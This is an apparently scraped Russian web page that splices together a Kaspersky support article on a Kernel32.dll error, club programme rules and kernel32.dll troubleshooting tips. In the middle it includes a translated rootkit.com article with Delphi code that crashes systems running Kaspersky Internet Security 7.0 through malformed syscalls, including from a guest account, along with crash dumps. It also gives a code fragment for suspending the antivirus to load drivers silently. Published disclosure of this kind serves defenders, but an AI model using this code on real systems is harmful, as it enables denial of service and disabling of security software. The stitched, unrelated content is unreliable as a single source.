Ошибка при установке касперского kernel32 dll - Большая энциклопедия ошибок и их решений

Статья обновлена: 29 марта 2022
ID: 15638

Показать приложения и версии, для которых применима статья.

Kaspersky Endpoint Security 11.10.0 для Windows (версия 11.10.0.399);
Kaspersky Endpoint Security 11.9.0 для Windows (версия 11.9.0.351);
Kaspersky Endpoint Security 11.8.0 для Windows (версия 11.8.0.384);
Kaspersky Endpoint Security 11.7.0 для Windows (версия 11.7.0.669);
Kaspersky Endpoint Security 11.6.0 для Windows (версия 11.6.0.394);
Kaspersky Endpoint Security 11.5.0 для Windows (версия 11.5.0.590).

Проблема

При установке Kaspersky Endpoint Security (11.5.0 – 11.10.0) для Windows на операционную систему Windows 7 может возникнуть ошибка «Для продолжения установки необходима библиотека Kernel32.dll версии 6.1.7601.17616 или новее».

Решение

Обновите библиотеку Kernel32.dll, для этого установите обновление Microsoft Windows KB2533623 или более новые KB4457144 и KB3063858.

Что делать, если решение не помогло

Если проблема сохраняется, воспользуйтесь подсказками и создайте запрос в техническую поддержку «Лаборатории Касперского» через Kaspersky CompanyAccount.

Спасибо за ваш отзыв, вы помогаете нам становиться лучше!

Источник

Latest update: July 24, 2023
ID: 15638

Show applications and versions that this article concerns

Kaspersky Endpoint Security 11.10.0 for Windows (version 11.10.0.399)
Kaspersky Endpoint Security 11.9.0 for Windows (version 11.9.0.351)
Kaspersky Endpoint Security 11.8.0 for Windows (version 11.8.0.384)
Kaspersky Endpoint Security 11.7.0 for Windows (version 11.7.0.669)
Kaspersky Endpoint Security 11.6.0 for Windows (version 11.6.0.394)
Kaspersky Endpoint Security 11.5.0 for Windows (version 11.5.0.590)

Issue

During the installation of Kaspersky Endpoint Security (11.5.0–11.10.0) for Windows on Windows 7, the following error may occur: “To continue installation, you require Kernel32.dll library version 6.1.7601.17616 or later”.

Solution

Update the Kernel32.dll library. To do so, install the Microsoft Windows update KB2533623 or the later updates KB4457144 and KB3063858.

What to do if the issue persists

If the issue persists, use these recommendations and submit a request to Kaspersky technical support via Kaspersky CompanyAccount.

Did you find this article helpful?

Thank you for your feedback! You’re helping us improve.

Источник

Следишь за новостями и событиями из мира технологий и техники? Любишь гаджеты и активно пользуешься ими? Много мыслей о развитии IT-индустрии, но не с кем ими поделиться? Если это всё про тебя, тогда ты тот, кого мы ищем!

Приглашаем принять участие в подпрограмме «Создатель контента».

Суть подпрограммы

Подпрограмма «Создатель контента» является частью программы «Развитие клуба «Лаборатории Касперского»» и входит в рейтинговую систему мотивации участников клуба. Целью программы является увеличение публикационной активности на форуме клуба за счет регулярного размещения контента и его обсуждения.

Кто может участвовать

Участниками подпрограммы могут стать участники клуба, т. е. пользователи, зарегистрированные на forum.kasperskyclub.ru или kasperskyclub.com.

Как участвовать

Участнику подпрограммы необходимо регулярно размещать на форуме клуба публикации, связанные с IT-тематикой: новости, лайфхаки, анонсы, обзоры техники, программного обеспечения и т. д. При этом участнику необходимо не просто разместить материал, но и сопроводить его небольшим анализом, аргументированно высказать своё непредвзятое мнение, а также спровоцировать (в хорошем смысле этого слова) членов клуба на обсуждение, например, задав несложный вопрос («А вы бы купили это?», «Считаете ли полезным анонсированное устройство?» и т. п.).

В общем виде сценарий публикации может выглядеть следующим образом: поиск интересного контента => вводные слова с кратким описанием информационного повода => текст материала в полном или сокращённом виде => активная гиперссылка на источник => личное объективное мнение об опубликованном контенте => вопрос к членам клуба с целью развития обсуждения или иной способ активизации обсуждения => отслеживание обратной связи и поддержка обсуждения.

Запрещается публиковать контент без активной гиперссылки на источник, а также размещать в нём прямую или скрытую рекламу.

Где и как часто публиковать

Публиковать контент необходимо в соответствующих разделах и темах форума клуба. В случае наличия темы по тематике публикуемого материала контент необходимо опубликовать в ней. При отсутствии соответствующей темы допускается создать новую.

Рекомендуемая частота публикация контента должна составлять не менее одного материала раз в три дня.

Вознаграждение

За каждый опубликованный материал участнику подпрограммы начисляются клабы, которые учитываются в рейтинговой системе мотивации участников клуба, или баллы, которые учитываются в бонусной программе «Накапливай баллы — меняй на лицензии и сувениры!», в соответствии с правилами рейтинговой системы.

Вид вознаграждения выбирается участником. Изменять вид вознаграждения допускается не чаще чем один раз в три месяца. Участнику, не сделавшему выбор вида вознаграждения, по умолчанию начисляются клабы.

Для начисления вознаграждения участнику необходимо с 1 по 10 число каждого месяца (но не реже раза в квартал) присылать на электронную почту rating@kasperskyclub.ru ссылки на опубликованный контент за предшествующий месяц.

Правовые положения

Администрация клуба «Лаборатории Касперского» оставляет за собой право без предварительного уведомления в любой момент прекратить проведение подпрограммы, внести изменения в настоящие правила, а также отказать участнику в получении вознаграждения или исключить его из участия в подпрограмме в случае выявления фактов нарушения настоящих правил, недобросовестного участия в подпрограмме, а также нарушения Правил форума.

Участие в подпрограмме означает безоговорочное согласие с её правилами.

Статья обновлена: 29 марта 2022
ID: 15638

Статья относится к:

Kaspersky Endpoint Security 11.10.0 для Windows (версия 11.10.0.399);
Kaspersky Endpoint Security 11.9.0 для Windows (версия 11.9.0.351);
Kaspersky Endpoint Security 11.8.0 для Windows (версия 11.8.0.384);
Kaspersky Endpoint Security 11.7.0 для Windows (версия 11.7.0.669);
Kaspersky Endpoint Security 11.6.0 для Windows (версия 11.6.0.394);
Kaspersky Endpoint Security 11.5.0 для Windows (версия 11.5.0.590).

Проблема

Решение

Обновите библиотеку Kernel32.dll, для этого установите обновление Microsoft Windows KB2533623 или более новые KB4457144 и KB3063858.

Вам помогла эта страница?

Приглашаем принять участие в подпрограмме «Создатель контента».

Суть подпрограммы

Кто может участвовать

Как участвовать

Где и как часто публиковать

Рекомендуемая частота публикация контента должна составлять не менее одного материала раз в три дня.

Вознаграждение

Правовые положения

Участие в подпрограмме означает безоговорочное согласие с её правилами.

Latest update: November 10, 2022
ID: 15638

This article concerns:

Kaspersky Endpoint Security 11.10.0 for Windows (version 11.10.0.399)
Kaspersky Endpoint Security 11.9.0 for Windows (version 11.9.0.351)
Kaspersky Endpoint Security 11.8.0 for Windows (version 11.8.0.384)
Kaspersky Endpoint Security 11.7.0 for Windows (version 11.7.0.669)
Kaspersky Endpoint Security 11.6.0 for Windows (version 11.6.0.394)
Kaspersky Endpoint Security 11.5.0 for Windows (version 11.5.0.590)

Issue

Solution

Update the Kernel32.dll library. To do so, install the Microsoft Windows update KB2533623 or the later updates KB4457144 and KB3063858.

Did you find what you were searching for?

Website feedback

What information, in your opinion, should we add to this page? Write your comment in the form below. If you want to contact technical support, close this pop-up and click Contact support.

Если вы столкнулись с ошибкой «не найдена точка входа в процедуру в библиотеке dll kernel32.dll» И ищите решение, я расскажу что это такое, и как с этим бороться. Сообщения связанные с библиотекой kernel32.dll могут быть разными. Любая программа может выдать ошибку связанные с этой библиотекой. Я недавно писал статью о проблеме с dll, как исправить отсутствие msvcr100.dll, но там файл именно отсутствовал. В нашем случае проблема немного иная.

Вот небольшой список сообщений выдаваемых системой по поводу kernel32, возможно одна из них соответствует вашему:

точка входа в процедуру getlogicalprocessorinformation kernel32.dll
точка входа в процедуру не найдена в библиотеке dll kernel32.dll
Не найдена библиотека kernel32 dll
Программа вызвала ошибку в модуле kernel32.dll
getfileinformationbyhandleex не найдена в библиотеке kernel32.dll
setdefaultdlldirectories не найдена в библиотеке dll kernel32
Failed to get proc address for GetlogicalProcessorInformation kernel32.dll
releasesrwlockexclusive не найдена kernel32 dll

И так далее и тому подобное, не буду перечислять, так как варианты ошибок могут быть разными, но суть проблемы одна, и связана она именно с kernel32.dll

Ошибка Kernel32.dll может возникнуть практически в любое время, когда Windows запускается, при открытии или закрытии программы, на памяти есть пара эпизодов, когда просто при перетаскивании окна программы. Ошибки kernel32.dll встречаются не только в Windows XP, но и в Windows 7, а иногда и в Windows 8.

Как говорят ИТшники, от сбоев никто не застрахован. Так давайте разберемся, что это за ошибка и как ее исправить своими силами.

Причины ошибки такие же разные, как и сами сообщения о ней, и может возникать в абсолютное любое время. Сам же файл библиотеки kernel32.dll отвечает за функции ввода-вывода, а также прерывания в работе с оперативною памятью Windows. При запуске Windows, kernel32.dll загружается в защищенное пространство памяти, таким образом, другие программы не пытаются пользоваться тем же пространством в памяти, чтобы выполнить свои операции.

Но когда одна или несколько программ пытаются получить доступ к этому защищенному пространству в памяти ПК, собственно и возникает сбой.

Чаще всего ошибку вызывает одна конкретная программа, не исключены случаи, когда проблема появляется при запуске нескольких приложений. Вследствие малого объема оперативной памяти так же есть вероятность ошибки.

Операционка обычно указывает причину отказа, в виде информации на что обратить внимание, чаще всего это конкретный файл, на который и стоит обратить внимание. Бывают случаи, когда информации мало, как в случае при установке skype.

к оглавлению ↑

Решение ошибки есть, и мы с Вами рассмотрим их по порядку. От простых до более сложных, если поможет легкий вариант, зачем углубляться дальше, правильно?! Постараемся исправить ошибку не прибегая к кардинальным методам, таким как переустановка виндовс. Хотя и такой метод иногда бывает полезен, когда ОС работает более 3-5 лет без переустановки и обслуживания.

ПРИМЕЧАНИЕ: Не пытайтесь искать в интернете о том, где и как скачать KERNEL32.dll, так как это ни к чему хорошему не приведет. Можете скачать не подходящий файл или под видом нужной библиотеки скачать вирус! Имейте ввиду, возникновение ошибки не означает отсутствие файла.

Совет: Если Вы являетесь пользователем Windows XP SP1 или SP2, то Вам целесообразно будет начать со скачивания и обновления вашей ОС до SP3. Т.к. большинство программ отказываются работать на устаревших ОС. Или задумайтесь о переходе на Windows 10, более или менее стабильная операционная система.

к оглавлению ↑

Ошибка setdefaultdlldirectories (решение для Windows 7)

Вынес отдельным пунктом данное решение, и поднял в самое начало, т.к. скорее всего следует начать именно с этого. Если у Вас Windows 7, не важно какой разрядности, и вы столкнулись с ошибкой «setdefaultdlldirectories не найдена в библиотеке dll kernel32», то установите данное обновление на Вашу ОС.

Отдельно хочу заметить пользователей софта от Sony PC Companion это обновление будет не как кстати, так как очень часто оно выдает такую ошибку.

Для тех у кого проблемы с загрузкой внешних библиотек, и текст ошибки звучит именно так:

SetDefaultDllDirectories
AddDllDirectory
RemoveDllDirectory

Корпорация Майкрософт выпустила улучшения API для Windows, которые позволят правильно и безопасно загружать внешние библиотеки. Для этого необходимо скачать с официального сайта Майкрософт обновления для своей ОС:

Скачать обновления с официального сайта Microsoft

к оглавлению ↑

Варианты решения ошибки Kernel32.dll

Единичный системный сбой. По счастливой случайности ошибка kernel32.dll может быть единичным случаем, можно выполнить перезагрузку компьютера. После перезапуска windows возможно проблема уйдет сама собой.

Переустановить программу, с которой возникла ошибка. Если вы заметили появление ошибки при использовании одной программы, а в работе другого софта такого не замечено, самым правильным решением в данном случае будет скачать софт с официального сайта и установить. Только предварительно удалить с компьютера старую версию ПО. Возможно ошибка была связана с обновлением ПО, некачественным софтом, или коряво ломаным. А еще как вариант, можно обновить ПО до актуальной версии, или установить патчи которые доступны для программы.

Возможно вирусное заражение. Для начала нужно убедиться, что в папке с системными файлами присутствует файл KERNEL32.DLL а не kernel32.exe.

Если увидите нечто подобное в папке System32, значит, на компьютере имеются вирусы.

Следует проверить компьютер на наличие вирусов бесплатными утилитами, такими как Dr.Web Cureit! и Kaspersky Virus Removal Tool.

Ошибка при подключении любого оборудования. Бывают ситуации, когда ошибка выскакивает при подключении или активации оборудования. К примеру, при включении веб-камеры в Skype. То следует переустановить или обновить драйвер оборудования, в нашем случае веб-камера, до актуальной версии, также можно попробовать установить на одну версию ниже от актуальной. Обновление драйвера можно выполнить через «Диспетчер устройств». На фирменное оборудование драйвера можно скачать с сайта производителя.

Разгон процессора, видеокарты или изменили тайминги на оперативной памяти. Если проводили настройки по разгону процессора или видеокарты, памяти, это также может послужить причиной ошибки. Для решения необходимо вернуть все настройки в исходное состояние.

Произвести проверку системных файлов. Нужно запустить проверку системных файлов windows средствами ОС. Для этого запустите командную строку с правами администратора, наберите в строке sfc /scannow и нажмите Enter. Система выполнит проверку поврежденных файлов и по возможности восстановит их.

Возможны проблемы с оперативной памятью. Так как библиотека kernel32.dll отвечает за управление оперативной памятью в плане записи и чтения, проблема так же может скрываться за оперативкой. Для исключения проблем с оперативкой, ее нужно просканировать на наличие ошибок с помощью утилиты memtest86 или подобными аналогами, которых значительное количество. В случае обнаружения ошибок, необходимо заменить планку ОЗУ на заведомо рабочую.

Переустановите Windows. Если перечисленные способы не помогли, нужно переустановить ОС windows. Которые Вы всегда можете скачать с официального сайта Microsoft. Или перейти на более новую операционную систему. Скачать с официального сайта:

Образ Windows 7 | Образ Windows 8 | Образ Windows 10

Возможны проблемы с жестким диском. Друзья, если после переустановки виндовс проблема не исчезла, следует проверить жесткий диск на наличие ошибок и битых секторов, которые так же могут послужить в возникновении ошибок с кернел32.

Для этого запустите командную строку с правами администратора, введите следующее. К примеру: chkdsk C: /f /r (где C: системный диск (по умолчанию) , f – проверка на наличие ошибок и их автоматическое восстановление, r – проверка поврежденных секторов и их восстановление)

Я показал на примере другой диск. В вашем случае пишите букву системного диска, на котором установлена ОС.

Вы всегда можете воспользоваться другими утилитами для проверки состояния вашего жесткого диска, такими как Victoria 4.47 или MHDDTest.

P.S. Подводя итоги, хотелось бы добавить от себя, что ошибка «не найдена точка входа в процедуру в библиотеке dll kernel32.dll» может быть связана с устаревшей версией Windows XP, на более современных ОС ошибка возникает крайне редко, но и не исключены случаи ее появления. Если вы до сих пор используете windows xp sp1, sp2, задумайтесь об обновлении до sp3 или о переходе на более современные операционные системы, такие как windows 7, windows 8 или windows 10.

Так как Билл Гейтс делает все, чтобы пользователи спрыгнули с Windows XP. Даже все те кого устраивает ОС.

По требованиям к ресурсам компьютера виндовс 10 не прожорлива и не требовательна, работает и на слабом железе. А стабильность и комфортность в работе на хорошем уровне.

Надеюсь статья поможет Вам в борьбе с ошибкой kernel32.dll. Будет великолепно, если Вы отпишитесь о том, какой способ подошел именно Вам, или Вы решили проблему другими способами. Поделитесь с другими людьми, которые ищут решение.

Перевод статьи с сайта rootkit.com

Преамбула

Антивирус Касперского — один из наиболее технически развитых антивирусов на сегодняшний день. Он даже может бороться с некоторыми типами руткитов, даже когда они живы и пытаются атаковать.

Он имеет Модуль Проактивной Защиты (Proactive Defence), представляющий из себя частичную реализацию HIPS, способную, в теории, защитить компьютер от неизвестных угроз, анализируя поведение программ и предотвращая несанкционированные действия.

Это всё теория и рекламные слоганы. В реальности же мы имеем совсем другую ситуацию. Существует много руткитов, которые вообще не обнаруживаются антивирусом, а его проактивная защита может быть подавлена таким образом, что атакующий может загрузить свой драйвер, после чего любая проактивная защита просто бесполезна.

Эта статья — не просто обзор ошибок и уязвимостей — в конце каждой части мы даём рекомендации разработчикам антивируса, потому что мы видим, что они не могут разобраться с этими ошибками самостоятельно. И для приверженцев сразу оговорка: конечно, все, что написано ниже — не критические уязвимости, нет-нет =) Всего лишь несколько простых методов получить BSOD при установленном KAV/KIS даже из под гостевого аккаунта, всего лишь методы обхода KAV/KIS… и так далее, в общем не принимайте слишком близко к сердцу.

Версия Касперского, про который пойдёт речь в этой статье — 7.0, последний публичный билд 125, тип продукта — Internet Security.

Касперский и System Service Descriptor Table

Эта часть антивируса давно известна, как самая уязвимая. Таковой она является из-за того, что содержит множество элементарных ошибок. Ошибки эти — ещё один пример плохо написанной проактивной защиты.

Под Windows XP Антивирус Касперского добавляет службы в таблицу SSDT. Множество служб, которые существуют лишь под Windows 2003. Их номера — от 284 до 296. Около 13 неизвестных записей с адресами внутри klif.sys.

Вот они:

ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BD80 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BD90 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BDA0 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BDC0 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BDE0 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE10 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE20 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE40 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE50 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BF10 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BFE0 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809C020 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809C060 hook handler located in [C:WINDOWSsystem32driversklif.sys]

Что это? Совершенно непонятно. Однако похоже, что разработчики KAV добавляют их, чтобы решить проблему с разным количеством записей в таблице SSDT под Windows XP и 2003. Почему это было сделано именно так — вопрос третий.

А теперь внимание: любая из этих записей может быть взломана с последующим крахом системы в BSOD даже из под гостевой учётной записи с минимальными привилегиями. Мы написали маленькую программу. Она генерирует некорректные системные вызовы с некорректными параметрами для этих таинственных записей в SSDT. Код очень простой, но эффективный. Выполнение его на чистой Windows не приведёт ни к чем, потому что сама Windows обрабатывает такие ситуации верно.

var Services: array[0..12] of ULONG; ThreadTerminated: boolean = false; ExecThread: THANDLE;

function MakeSysCall(SysCallNumber: integer; const Stack: PDWORD): DWORD; stdcall; asm mov eax, SysCallNumber mov edx, Stack int 2eh mov Result,eax end; function exec(p1: pointer): DWORD; stdcall; var i: integer; p2: DWORD; p3: DWORD; begin randomize(); u := 0; for i := 0 to 12 do Services[i] := 284 + i; while not ThreadTerminated do begin p2 := random($FFFFFFFF); p3 := Services[random(12)]; MakeSysCall(p3, @p2); Sleep(100); end; CloseHandle(ExecThread); ExecThread := 0; result := 0; end; var p2: DWORD; begin ThreadTerminated := false; ExecThread := CreateThread(nil, 0, @exec, nil, 0, p2); end;

Результат выполнения: Kaspersky Internet Security v7.0 125 build

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e0ae15f9, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f8087e8c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

весь текст bsod…

Но и это еще не всё!
Не смотря на сообщения о существующих уязвимостях в SSDT разработчики Касперского до сих пор не исправили их!
Мы можем доказать это простой программой под названием NTCALL. После старта она начинает генерировать некорректные системные вызовы.

NtCreateSection — вызов этой функции с неверными параметрами приведет к BSOD в klif.sys.
Вот он наш BSOD:

KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but…
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 805883ea, The address that the exception occurred at
Arg3: f669a95c, Trap Frame
Arg4: 00000000

Debugging Details:
— ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.

MODULE_NAME: klif

весь текст bsod…

Что тут можно сказать?.. Пора прекращать извращаться с SSDT и писать нормальные обработчики для записей SSDT. Возьмите лучше и спросите Олега Зайцева, как правильно устанавливать хуки в SSDT

Касперский и Теневая SSDT (Shadow SSDT)

Теневая SSDT — это специальная таблица в win32k.sys, которая содержит адреса системных функций, связанных с отображением пользовательского графического интерфейса (GDI). Касперский устанавливает здесь хуки на некоторые службы чтобы предотвратить работу клавиатурных шпионов и для самозащиты.

И опять же хуки установлены плохо.

NtUserSendInput с неверными параметрами и… -> хаха, новый BSOD, вам это не напоминает какой-то BSOD- генератор? =)

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e1f83004, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f9417eee, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000001, (reserved)

Debugging Details:
— ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.

MODULE_NAME: klif
весь текст bsod…

Для этой части рекомендации просты — запустите свой драйвер под отладчиком.

Следующий код

var
  p1: PChar;
begin
  p1 := PChar($ffffffff);
  LoadLibraryA(p1);
end;

ведёт к Acces Violation и это нормально, потому что мы использовали некорректный параметр для функции, но то что НЕнормально — это где возникает Acess Violation, по адресу — 0xF80B3306.
Это не шутка — 0xF80B3306. В процессах ядра! А если быть точнее — в klif.sys.

Давайте посмотрим, что происходит.

Мы обнаружили сильную модификацию IAT(1, 2) для каждого процесса в системе. Смотрите что происходит с explorer.exe

[420]explorer.exe—>kernel32.dll—>LoadLibraryExA, Type: IAT Modification at address 0x010010A8—>7C882FB0 hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>LoadLibraryExW, Type: IAT Modification at address 0x010010F8—>7C882FD8 hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>LoadLibraryA, Type: IAT Modification at address 0x01001150—>7C882F9C hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>LoadLibraryW, Type: IAT Modification at address 0x010011D0—>7C882FC4 hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>GetProcAddress, Type: IAT Modification at address 0x010011E4—>7C882FEC hook handler located in [kernel32.dll]

Странно, не так ли? Давайте отследим вызов LoadLibraryA.

KERNEL32.LoadLibraryA:

push ebp
mov ebp, esp
nop
pop ebp
jmp +$7b830b4a //- перенаправление в klif.sys
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Вот так выглядит LoadLibraryA внутри kernel32.dll после перенаправления IAT Антивирусом Касперского. Разве это не извращение?

Если вы инсталлируете этот антивирус себе на компьютер, вы (какая ирония!) открываете его для дополнительных уязвимостей и бэкдоров, созданных благодаря Антивирусу Касперского! Смех, да и только.

В этой части мы рекомендуем разработчикам Касперского убрать извращения из своего продукта. Во первых существуют лучшие и более простые способы общаться с процессами ядра, а во-вторых — это просто извращение.

Антивирус Касперского и самозащита

Как большинство из вас знает, Антивирус Касперского активно защищает самого себя против атак. Его процессы защищены от несанкционированного доступа и от уничтожения зловредными программами. Но вопрос: насколько хорошо они защищены?

Ответ: ПЛОХО.

Касперский устанавливает несколько хуков в SSDT (т.е. NtOpenProcess, NtOpenThread, NtTerminateProcess и т.д) и несколько хуков в Теневой SSDT (NtUserFindWindowEx, NtUserBuildHwndList и т.д.) чтобы дополнительно защитить себя от атак.

В конце концов он устанавливает себя как службу с настройками перезапуска при возникновении ошибки. Настройки службы защищены в реестре несколькими хуками в SSDT. Так как же мы можем убить этот антивирус? И нужно ли нам его убивать? Если мы убьём визуальную часть avp.exe то она будет заново запущена службой. Если мы убьём службу — она будет запущена менеджером контроля служб (SCM). Так как же мы можем уничтожить этот антивирус (в образовательных целях, конечно)? Вопрос хороший.

Ответ прост — загрузить драйвер, после этого мы будем вне зоны интересов KAV. Но сначала нам нужно его приостановить, чтобы получить такую возможность, не правда ли? Не совсем. Существует как минимум три метода, с помощью которых можно тихо загрузить драйвер без малейшей реакции со стороны Проактивной Защиты Касперского 7.0. И я уверен что существуют еще методы. В нашем случае мы просто приостановим (suspend) все потоки (threads) процессов Антивируса Касперского; просто приостановим, ничего более — этого достаточно.

Мы не можем обращаться к процессам Касперского напрямую, потому что владельцем SSDT является PDM. Так что самое время использовать «любимый» бэкдор-процесс по имени csrss.exe

В этом примере мы априори предполагаем что KAV приложение названо avp.exe и csrss.exe существует в одном экземпляре (LOL, да, если у вас есть вредоносные программы, работающие на ring3 и маскирующиеся как csrss.exe, то с этим кодом будут определённые проблемы).

…
pBuffer.dwSize := sizeof(PROCESSENTRY32W);
SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
…
if (ZwOpenProcess(@ph, PROCESS_ALL_ACCESS, @attr, @cid1) <> STATUS_SUCCESS) then exit;
…
ZwAllocateVirtualMemory(GetCurrentProcess(), buf, 0, @bytesIO, MEM_COMMIT, PAGE_READWRITE);
ZwQuerySystemInformation(SystemHandleInformation, buf, 4194304, @bytesIO);
весь текст программы…

После этого оба испольняемых модуля Касперского будут приостановлены и мы можем загрузить драйвера и сделать свою работу тихо =)

Протестировано на KIS v7.0 build 125 с настройками по умолчанию.
Windws XP SP2, права администратора.

Мы рекомендуем ЛК пройти в HANDLE_TABLE и изменить права доступа для хендлеров своих процессов. Плюс самое время улучшить хук на NtDuplicateObject.

Эпилог

Вы наверное сейчас спрашиваете себя, почему такие очевидные ошибки — действительно чёрные ходы до сих пор существуют в одном из самых популярных антивирусов? Да потому что кто-то должен хорошенько дать под зад Лаборатории Касперского.

Не так давно мы опубликовали другой обзор ошибок KAV. Реакция была ожидаема. Они сказали что-то наподобие «Не волнуйтесь, это не критические ошибки». Ну да, возможно Синий экран смерти из под Гостевой учётной записи это не такая уж большая проблема для компании. «Действительно. Че за BSOD вообще? Фигня, расслабьтесь ребята» Но что-то меняется — они закрыли несколько опубликованных уязвимостей, так что должны были бы сказать небольшое спасибо нам. Вместо этого мы получаем кучу $@%$&#! в свой адрес (неофициально, конечно). Что ж, мы просто не переживаем по поводу такой реакции, так что не утруждайте себя ребята(фанатики?). Мы не хотим саморекламы и не хотим наблюдать тупейшие BSOD-ы от Касперского.

Дорогие разработчики Лаборатории Касперского, ваш антивирус весьма хорош, об этом спору нет, но возможно пришло время поправить эти баги? Убрать извращения с SSDT/IAT. Тщательнее обработывать критические ситуации в своём драйвере. Нет серьёзно, а что не так? Смотря на klif.sys я вижу только одно — большой, глючный драйвер.

Кстати, в некотором роде неофициальную реакцию от Лаборатории Касперского на наш предыдущий обзор klif.sys вы можете прочитать в этой чудесной статье, которая содержит несколько абсурдных утверждений и не несущих смысла комментариев. В нескольких словах: автор этой статьи частично обвинил нас в публикации информации про уязвимости в их старых и новых продуктах.

www.viruslist.ru/analysis?pubid=204007553

Статья на русском, но я уверен вы сможете найти английский вариант.

Have fun,
от VX heavens
EP_X0FF/UG North

rootkit.com

smartov: Цитата из статьи, про которую они говорят в конце

В последние годы чрезвычайно актуальна следующая ситуация. Некто из среды киберпреступников (или «исследователей», прикрывающихся белыми шляпами) разрабатывает концепт кода, обходящего современные средства защиты, и в целях самопиара, замаскированного под заботу о прогрессе, публикует его как «недетектируемый». Подчеркнем: разумеется, на деле такой концепт является не принципиально недетектируемым, а недетектируемым на уровне одно-двухшагового обхода известных функций средств защиты. Сделать такой одношаговый обход достаточно просто, если известны механизмы защиты.

Подобные публикации заставляют беспокоиться определенный процент пользователей, не знакомых с принципами работы вредоносных программ и антивирусов («А защищает ли мое антивирусное средство от этого нового типа угроз?). В такой ситуации производителям средств защиты остается только бросить долю ресурсов на восстановление своего авторитета: на разработку технологий обхода описанного концепта, обычно таких же, как и сам концепт — одношаговых. В итоге авторитет восстанавливается (а как же иначе?), система «вредоносная программа — антивирус — пользователь» приходит в изначальное состояние, и процесс замыкается в цикл. Каждая новая его итерация порождает все более изощренные вредоносные программы и все более тяжеловесные средства защиты.

Как было в КВН: «Отличный план!». Такие себе бяки публикуют уязвимости, а из-за этого бедным-несчастным производителям антивирусов приходится оторваться от

~~стрижки капусты~~

разработки нового улучшенного пользовательского интерфейса и заняться их устранением.

p.s. У самого установлен KAV 7.0.0.125…

KERNEL32.dll — Это файл динамической компоновки и служит для связи с центральной частью операционной системы. Библиотека Kernel32.dll обрабатывает управление памятью, работает с операциями ввода/вывода, синхронизацией и прерываниями. Также, предоставляет многим приложениям доступ к API-интерфейсу на основе Win32. По этой причине, если файл поврежден каким-либо образом, то будут различные ошибки указывающие на отсутствие файла kernel32.dll

В редких случаях, может быть конфликт между программой, когда она пытается получить доступ к защищенной памяти, которая уже занята файлом Kernel32.dll. Также, многие разработчики ПО не поддерживают старые версии систем как Windows XP или Windows 7 и это распространенная ошибка у пользователей, которые пытаются запустить последние версии программ на старых ОС.

Как исправить ошибку kernel32.dll в Windows?

Ошибки Kernel32.dll могут появляться при включении компьютера, открытии или закрытии программ, и звучать по разному:

Не найден kernel32.dll
Точка входа в процедуру в библиотеке kernel32.dll не найдена
Commgr32 вызвал ошибку неверной страницы в модуле Kernel32.dll
Программа вызвала сбой в модуле Kernel32.dll
Точка входа в процедуру SetDefaultDllDirectories не найдены в библиотеке DLL KERNEL32.dll
Не удалось получить адрес процесса для GetLogicalProcessorInformation

1. Перезагрузить ПК

Если библиотека застряла в памяти и запуск программы выдаёт ошибку, то перезагрузка компьютера может решить проблему. Также, завершаться все ненужные процессы, которые могут мешать работе программы по API.

2. Переустановите программу

